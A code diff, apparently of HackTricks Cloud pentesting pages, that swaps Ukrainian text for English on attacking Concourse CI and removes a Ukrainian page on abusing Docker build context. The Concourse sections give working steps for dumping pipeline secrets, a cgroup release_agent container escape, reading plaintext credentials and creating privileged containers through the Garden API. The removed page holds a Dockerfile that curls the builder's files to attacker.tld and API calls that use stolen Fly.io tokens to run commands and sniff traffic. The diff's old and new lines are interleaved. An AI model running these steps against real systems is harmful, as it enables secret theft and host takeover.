||||
```
|
||||
З **модифікацією/створенням** нового конвеєра ви зможете:
|
||||
|
||||
- **Вкрасти** **секрети** (через їх виведення або зайшовши в контейнер і запустивши `env`)
|
||||
- **Вийти** на **вузол** (надавши достатні привілеї - `privileged: true`)
|
||||
- Перерахувати/Зловживати **метаданими хмари** (з пода та з вузла)
|
||||
- **Видалити** створений конвеєр
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
|
||||
#### Виконати Користувацьке Завдання
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
|
||||
Це схоже на попередній метод, але замість модифікації/створення цілого нового конвеєра ви можете **просто виконати користувацьке завдання** (що, ймовірно, буде набагато **прихованішим**):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Втеча до вузла з привілейованого завдання
|
||||
|
||||
У попередніх розділах ми бачили, як **виконати привілейоване завдання з concourse**. Це не надасть контейнеру точно такого ж доступу, як привілейований прапор у контейнері docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною".
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
|
||||
У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими модифікаціями:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -261,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Як ви, можливо, помітили, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях команди в вузлі
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
|
||||
#### Втеча до вузла з контейнера Worker
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
|
||||
Регулярний escape release_agent з незначною модифікацією достатній для цього:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -293,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Втеча до вузла з веб-контейнера
|
||||
|
||||
Навіть якщо веб-контейнер має деякі захисти вимкнені, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера є марними).
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
|
||||
Однак, він зберігає **локальні облікові дані у відкритому вигляді**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -306,9 +321,11 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера і втечі до вузла**.
|
||||
|
||||
У середовищі ви також можете знайти інформацію для **доступу до екземпляра postgresql**, який використовує concourse (адреса, **ім'я користувача**, **пароль** та база даних серед іншої інформації):
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -329,35 +346,39 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
#### Зловживання сервісом Garden - Не справжня атака
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
|
||||
> [!WARNING]
|
||||
> Це лише деякі цікаві нотатки про сервіс, але оскільки він слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
|
||||
За замовчуванням кожен concourse worker буде запускати сервіс [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Цей сервіс використовується веб-майстром для вказівки worker **що йому потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є деякі хороші захисти:
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
|
||||
- Він **виключно локальний** (127..0.0.1), і я думаю, що коли worker аутентифікується проти вебу за допомогою спеціального SSH-сервісу, створюється тунель, щоб веб-сервер міг **спілкуватися з кожним сервісом Garden** всередині кожного worker.
|
||||
- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і сервісом garden.
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
|
||||
Concourse workers працюють з високими привілеями контейнера:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
Однак, такі техніки, як **монтування** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється.
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> У попередньому розділі ми бачили, як втекти з привілейованого контейнера, тому якщо ми можемо **виконувати** команди в **привілейованому контейнері**, створеному **поточним** **робітником**, ми могли б **втекти до вузла**.
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це як контейнер, що створює новий контейнер всередині нього.
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
**Отримання доступу до запущеного привілейованого контейнера**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -370,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Створення нового привілейованого контейнера**
|
||||
|
||||
Ви можете дуже легко створити новий контейнер (просто запустіть випадковий UID) і виконати щось на ньому:
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
Однак веб-сервер перевіряє кожні кілька секунд контейнери, які працюють, і якщо буде виявлено несподіваний, він буде видалений. Оскільки зв'язок відбувається по HTTP, ви можете підробити зв'язок, щоб уникнути видалення несподіваних контейнерів:
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -411,8 +436,11 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
## Посилання
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -8,16 +8,19 @@
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
Цей файл docker-compose спрощує установку для проведення деяких тестів з concourse:
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Ви можете завантажити командний рядок `fly` для вашої ОС з вебу за адресою `127.0.0.1:8080`
|
||||
|
||||
#### З Kubernetes (Рекомендується)
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
|
||||
Ви можете легко розгорнути concourse в **Kubernetes** (наприклад, в **minikube**) за допомогою helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Після створення середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів:
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Створити Pipeline
|
||||
|
||||
Pipeline складається зі списку [Jobs](https://concourse-ci.org/jobs.html), який містить впорядкований список [Steps](https://concourse-ci.org/steps.html).
|
||||
### Create Pipeline
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
### Steps
|
||||
|
||||
Можна використовувати кілька різних типів кроків:
|
||||
Several different type of steps can be used:
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **виконує** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html)
|
||||
- [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html)
|
||||
- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно
|
||||
- [`do` step](https://concourse-ci.org/do-step.html) виконує кроки послідовно
|
||||
- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних
|
||||
- [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і вважається успішним, навіть якщо крок не вдався
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
|
||||
Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тому, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку.
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Отже, можливо вказати тип контейнера, в якому потрібно виконати кожен крок.
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
|
||||
### Простий приклад Pipeline
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Перевірте **127.0.0.1:8080**, щоб побачити потік конвеєра.
|
||||
|
||||
### Bash скрипт з вихідним/вхідним конвеєром
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
|
||||
Можливо **зберегти результати одного завдання у файл** і вказати, що це вихід, а потім вказати вхід наступного завдання як вихід попереднього завдання. Що робить concourse, так це **монтує каталог попереднього завдання в новому завданні, де ви можете отримати доступ до файлів, створених попереднім завданням**.
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
### Тригери
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
|
||||
Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запланувати їх виконання щоразу:
|
||||
### Triggers
|
||||
|
||||
- Пройшов деякий час: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- При нових комітах до основної гілки: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Нові PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Отримати або надіслати останній образ вашого додатку: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
|
||||
Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master на [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
# Зловживання Docker Build Context у Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Якщо платформа CI/CD або hosted builder дозволяє контриб’юторам вказувати шлях Docker build context та шлях до Dockerfile, часто можна встановити context на батьківський каталог (наприклад, "..") і зробити файли хоста частиною build context. Тоді Dockerfile, контрольований нападником, може використовувати COPY та exfiltrate секрети, знайдені в домашньому каталозі користувача билдера (наприклад, ~/.docker/config.json). Вкрадені registry tokens також можуть працювати проти control-plane APIs провайдера, дозволяючи org-wide RCE.
|
||||
|
||||
## Attack surface
|
||||
|
||||
Багато hosted builder/registry сервісів роблять приблизно таке під час збірки образів, наданих користувачами:
|
||||
- Читають конфіг репозиторію, який містить:
|
||||
- build context path (відправляється до Docker daemon)
|
||||
- Dockerfile path відносно цього context
|
||||
- Копіюють вказаний каталог build context і Dockerfile до Docker daemon
|
||||
- Збирають образ і запускають його як hosted service
|
||||
|
||||
Якщо платформа не канонізує і не обмежує build context, користувач може встановити його в локацію за межами репозиторію (path traversal), через що будь-які файли хоста, доступні для читання користувачу билдера, стануть частиною build context і доступні для COPY у Dockerfile.
|
||||
|
||||
Практичні обмеження, що часто спостерігаються:
|
||||
- Dockerfile повинен знаходитися в межах обраного context path і його шлях має бути відомий заздалегідь.
|
||||
- У білдер-користувача повинен бути доступ на читання до файлів, включених у context; спеціальні device файли можуть порушити копіювання.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Примітки:
|
||||
- Використання ".." часто вказує на домашню директорію користувача builder (наприклад, /home/builder), яка зазвичай містить чутливі файли.
|
||||
- Помістіть ваш Dockerfile у директорію з іменем repo (наприклад, repo "test" → test/Dockerfile), щоб він залишався в межах розгорнутого батьківського контексту.
|
||||
|
||||
## PoC: Dockerfile для збирання та ексфільтрації контексту хоста
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Цілі, які зазвичай відновлюються з $HOME:
|
||||
- ~/.docker/config.json (облікові дані/токени реєстру)
|
||||
- Інші кеші та конфігурації cloud/CLI (наприклад, ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Порада: Навіть якщо в репозиторії є .dockerignore, вразливий механізм вибору контексту на стороні платформи все одно визначає, що надсилається демону. Якщо платформа копіює обраний шлях до демона перед оцінкою repo’s .dockerignore, файли хоста все ще можуть бути скомпрометовані.
|
||||
|
||||
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
|
||||
|
||||
Деякі платформи видають один bearer token, який можна використовувати як для container registry, так і для control-plane API. Якщо ви exfiltrate registry token, спробуйте застосувати його до provider API.
|
||||
|
||||
Приклади викликів API до Fly.io Machines API з використанням вкраденого токена з ~/.docker/config.json:
|
||||
|
||||
Перерахувати додатки в організації:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Запустити команду як root у будь-якій машині додатку:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Результат: на рівні організації remote code execution у всіх hosted apps, де token має достатні привілеї.
|
||||
|
||||
## Викрадення Secret з скомпрометованих hosted services
|
||||
|
||||
Отримавши exec/RCE на hosted серверах, ви можете збирати client-supplied secrets (API keys, tokens) або ініціювати prompt-injection атаки. Наприклад: встановіть tcpdump і захопіть HTTP-трафік на port 8080, щоб витягти inbound credentials.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Перехоплені запити часто містять клієнтські облікові дані в заголовках, у тілі або в параметрах запиту.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Безпека Gitblit
|
||||
# Gitblit Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Gitblit
|
||||
## What is Gitblit
|
||||
|
||||
Gitblit — самостійно розгорнутий Git-сервер, написаний на Java. Він може працювати як standalone JAR або в servlet containers і включає вбудований SSH-сервіс (Apache MINA SSHD) для Git over SSH.
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
|
||||
## Теми
|
||||
## Topics
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit — самостійно розгорнутий Git-сервер, нап
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
